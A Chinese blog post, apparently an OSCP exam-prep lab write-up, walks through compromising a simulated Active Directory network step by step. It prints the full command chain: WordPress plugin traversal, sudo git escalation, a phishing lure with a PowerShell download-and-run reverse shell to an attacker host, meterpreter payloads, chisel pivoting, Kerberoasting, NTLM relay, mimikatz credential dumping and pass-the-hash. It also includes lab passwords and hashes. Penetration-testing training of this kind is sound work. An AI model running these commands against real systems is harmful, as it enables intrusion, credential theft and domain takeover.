文章总结: 本文记录了一次完整的OSCP模拟渗透攻击流程,从枚举开始,通过WordPress插件漏洞获取初始访问权限,利用git提权,然后通过钓鱼邮件攻击进入内部网络,使用BloodHound进行AD域枚举,最后利用Kerberoasting和mimikatz获取域控制器权限,展示了渗透测试的完整流程和各种技术的实际应用
综合评分: 85
文章分类: 渗透测试,红队,内网渗透,WEB安全,应急响应
OSCP | 组合模拟攻击
原创
小A法师
高级红队专家
2024年7月10日 06:58
北京
教材和学习方式详见开篇:OSCP学习之路-开篇
本篇对应教材第24章,将之前学习的技术组合使用,模拟一次渗透攻击。主要内容“枚举”、“获得同网段机器权限”、“访问内部网络”、“获取内部网络”、“攻击内部WEB应用”和“获得域控”,记录使用工具和命令
24.1 枚举
24.1.1MAILSRV01
两台机器WEBSRV01和MAILSRV01
mail01扫描
sudo nmap -sC -sV -oN mailsrv1/nmap 192.168.50.242gobuster dir -u http://192.168.50.242 -w /usr/share/wordlists/dirb/common.txt -o mailsrv1/gobuster -x txt,pdf,config
24.1.2 WEBSRV01
sudo nmap -sC -sV -oN websrv1/nmap 192.168.50.244
whatweb http://192.168.50.244
wpscan --url http://192.168.50.244 --enumerate p --plugins-detection aggressive -o websrv1/wpscan
发现插件
searchsploit duplicator
24.2 获取同网段机器权限
searchsploit -x 50420
目录遍历
python3 50420.py http://192.168.50.244 /etc/passwdpython3 50420.py http://192.168.50.244 /home/daniela/.ssh/id_rsachmod 600 id_rsassh -i id_rsa [email protected]
需要密码
ssh2john id_rsa > ssh.hashjohn --wordlist=/usr/share/wordlists/rockyou.txt ssh.hashtequieromucho (id_rsa)
ssh -i id_rsa [email protected]
登录成功
提权
cp /usr/share/peass/linpeas/linpeas.sh .python3 -m http.server 80wget http://192.168.119.5/linpeas.shchmod a+x ./linpeas.sh./linpeas.sh
发现sudo -l
(ALL) NOPASSWD: /usr/bin/git
发现数据库账号和密码
╔══════════╣ Analyzing WordPress Files (limit 70)-rw-r--r-- 1 www-data www-data 2495 Sep 27 11:31 /srv/www/wordpress/wp-config.php define( 'DB_NAME', 'wordpress' );define( 'DB_USER', 'wordpress' );define( 'DB_PASSWORD', 'DanielKeyboard3311' );
发现git目录
╔══════════╣ Analyzing Github Files (limit 70) drwxr----- 8 root root 4096 Sep 27 14:26 /srv/www/wordpress/.git
GTFOBins查看git的sudo提权
sudo git -p help config!/bin/bashwhoami
获得root权限
到git目录查看
cd /srv/www/wordpress/git statusgit loggit show 612ff5783cc5dbd1e0e008523dba83374a84aaf1
查看git信息,获得其他主机账号密码
git show 612ff5783cc5dbd1e0e008523dba83374a84aaf1
24.3 访问内部网络
kali@kali:~/beyond$ cat usernames.txt marcusjohndaniela
kali@kali:~/beyond$ cat passwords.txttequieromuchoDanielKeyboard3311dqsTwTpZPn#nL
收集账号和密码,进行登录破解
crackmapexec smb 192.168.50.242 -u usernames.txt -p passwords.txt --continue-on-success
没有pwn!标志,查看共享
crackmapexec smb 192.168.50.242 -u john -p "dqsTwTpZPn#nL" --shares
只读权限
钓鱼攻击
mkdir /home/kali/beyond/webdav/home/kali/.local/bin/wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root /home/kali/beyond/webdav/
创建config.Library-ms
<?xml version="1.0" encoding="UTF-8"?><libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library"><name>@windows.storage.dll,-34582</name><version>6</version><isLibraryPinned>true</isLibraryPinned><iconReference>imageres.dll,-1003</iconReference><templateInfo><folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType></templateInfo><searchConnectorDescriptionList><searchConnectorDescription><isDefaultSaveLocation>true</isDefaultSaveLocation><isSupported>false</isSupported><simpleLocation><url>http://192.168.119.5</url></simpleLocation></searchConnectorDescription></searchConnectorDescriptionList></libraryDescription>
创建快捷方式install,放到/home/kali/beyond/webdav目录
powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.119.5:8000/powercat.ps1'); powercat -c 192.168.119.5 -p 4444 -e powershell"
cp /usr/share/powershell-empire/empire/server/data/module_source/management/powercat.ps1 .
config.Library-ms也放到/home/kali/beyond
在/home/kali/beyond开启8000端口web服务
python3 -m http.server 8000nc -nvlp 4444
钓鱼邮件
sudo swaks -t [email protected] -t [email protected] --from [email protected] --attach @config.Library-ms --server 192.168.50.242 --body @body.txt --header "Subject: Staging Script" --suppress-data -ap
Username: johnPassword: dqsTwTpZPn#nL
获得CLIENTWK1权限
24.4 获取内部网络
提权枚举
cd C:\Users\marcusiwr -uri http://192.168.119.5:8000/winPEASx64.exe -Outfile winPEAS.exe.\winPEAS.exesysteminfo
是win11操作系统,winPEAS误报是win10
发现172段
Entry Name Datadcsrv1.beyond.com DCSRV1.beyond.com 172.16.6.240mailsrv1.beyond.com mailsrv1.beyond.com 172.16.6.254
AD域自动枚举
cp /usr/lib/bloodhound/resources/app/Collectors/SharpHound.ps1 .iwr -uri http://192.168.119.5:8000/SharpHound.ps1 -Outfile SharpHound.ps1powershell -ep bypass. .\SharpHound.ps1Invoke-BloodHound -CollectionMethod All
列出AD用户和计算机,需要在BloodHound的底部RawQuery输入查询语句
MATCH (m:Computer) RETURN mMATCH (m:User) RETURN m
获得
DCSRV1.BEYOND.COM - Windows Server 2022 StandardINTERNALSRV1.BEYOND.COM - Windows Server 2022 StandardMAILSRV1.BEYOND.COM - Windows Server 2022 StandardCLIENTWK1.BEYOND.COM - Windows 11 Pro
查ip
nslookup INTERNALSRV1.BEYOND.COM
获得
172.16.6.240 - DCSRV1.BEYOND.COM-> Domain Controller
172.16.6.241 - INTERNALSRV1.BEYOND.COM
172.16.6.254 - MAILSRV1.BEYOND.COM-> Mail Server-> Dual Homed Host (External IP: 192.168.50.242)
172.16.6.243 - CLIENTWK1.BEYOND.COM-> User _marcus_ fetches emails on this machine
用户
BECCYJOHNDANIELAMARCUS
使用gui功能查询域管Find all Domain Admins(beccy)
没发现其他有用的信息,查询服务和会话
查询当前活跃会话
MATCH p = (c:Computer)-[:HasSession]->(m:User) RETURN p
域管理员帐户Beccy在MAILSRV1上有一个活动会话,使用gui页面的“List all Kerberoastable Accounts”功能,发现krbtgt和daniela
在gui的Node Info中查看SPN节点,发现http/internalsrv1.beyond.com
在CLIENTWK1上做代理
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.119.5 LPORT=443 -f exe -o met.exesudo msfconsole -quse multi/handlerset payload windows/x64/meterpreter/reverse_tcpset LHOST 192.168.119.5set LPORT 443set ExitOnSession falserun -j
CLIENTWK1上
iwr -uri http://192.168.119.5:8000/met.exe -Outfile met.exe.\met.exe
代理
use multi/manage/autorouteset session 1runuse auxiliary/server/socks_proxyset SRVHOST 127.0.0.1set VERSION 5run -j
cat /etc/proxychains4.conf...socks5 127.0.0.1 1080
枚举共享,没有有用信息
proxychains -q crackmapexec smb 172.16.6.240-241 172.16.6.254 -u john -d beyond.com -p "dqsTwTpZPn#nL" --shares
nmap扫描
sudo proxychains -q nmap -sT -oN nmap_servers -Pn -p 21,80,443 172.16.6.240 172.16.6.241 172.16.6.254
使用chisel做代理更加稳定
chmod a+x chisel./chisel server -p 8080 --reverse
sessions -i 1upload chisel.exe C:\\Users\\marcus\\chisel.exechisel.exe client 192.168.119.5:8080 R:80:172.16.6.241:80
kali访问http://127.0.0.1/wordpress/wp-admin,报错,改hosts
cat /etc/hosts 127.0.0.1 localhost127.0.1.1 kali...127.0.0.1 internalsrv1.beyond.com
可以正常访问了,后台没有弱口令
24.5 攻击内部Web应用
Kerberoasting
proxychains -q impacket-GetUserSPNs -request -dc-ip 172.16.6.240 beyond.com/john
获得daniela.hash,破解
sudo hashcat -m 13100 daniela.hash /usr/share/wordlists/rockyou.txt --force
登录/wp-admin后台(daniela/DANIelaRO123)
BackupMigration插件可以利用,hash中继到mail01
sudo impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.50.242 -c "powershell -enc JABjAGwAaQ..."nc -nvlp 9999
使用备份插件,输入“//192.168.119.5/test”
中继成功,获得shell
24.6 获得域控
获取缓存凭证,因为已经是本地system权限了,上传mimikatz获取hash
cd C:\Users\Administratoriwr -uri http://192.168.119.5:8000/met.exe -Outfile met.exe.\met.exe
sessions -i 2shellpowershell
iwr -uri http://192.168.119.5:8000/mimikatz.exe -Outfile mimikatz.exe.\mimikatz.exe
privilege::debugsekurlsa::logonpasswords
[00000003] Primary * Username : beccy * Domain : BEYOND * NTLM : f0397ec5af49971f6efbdb07877046b3 * SHA1 : 2d878614fb421517452fd99a3e2c52dee443c8cc * DPAPI : 4aea2aa4fa4955d5093d5f14aa007c56 tspkg : wdigest : * Username : beccy * Domain : BEYOND * Password : (null) kerberos : * Username : beccy * Domain : BEYOND.COM * Password : NiftyTopekaDevolve6655!#!
登录域控
proxychains -q impacket-psexec -hashes 00000000000000000000000000000000:f0397ec5af49971f6efbdb07877046b3 [email protected]
我在第一篇里提到的一些有价值的认证,还有什么质量高的认证考试我没想到的,可以私我
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:高级红队专家 小A法师《OSCP | 组合模拟攻击》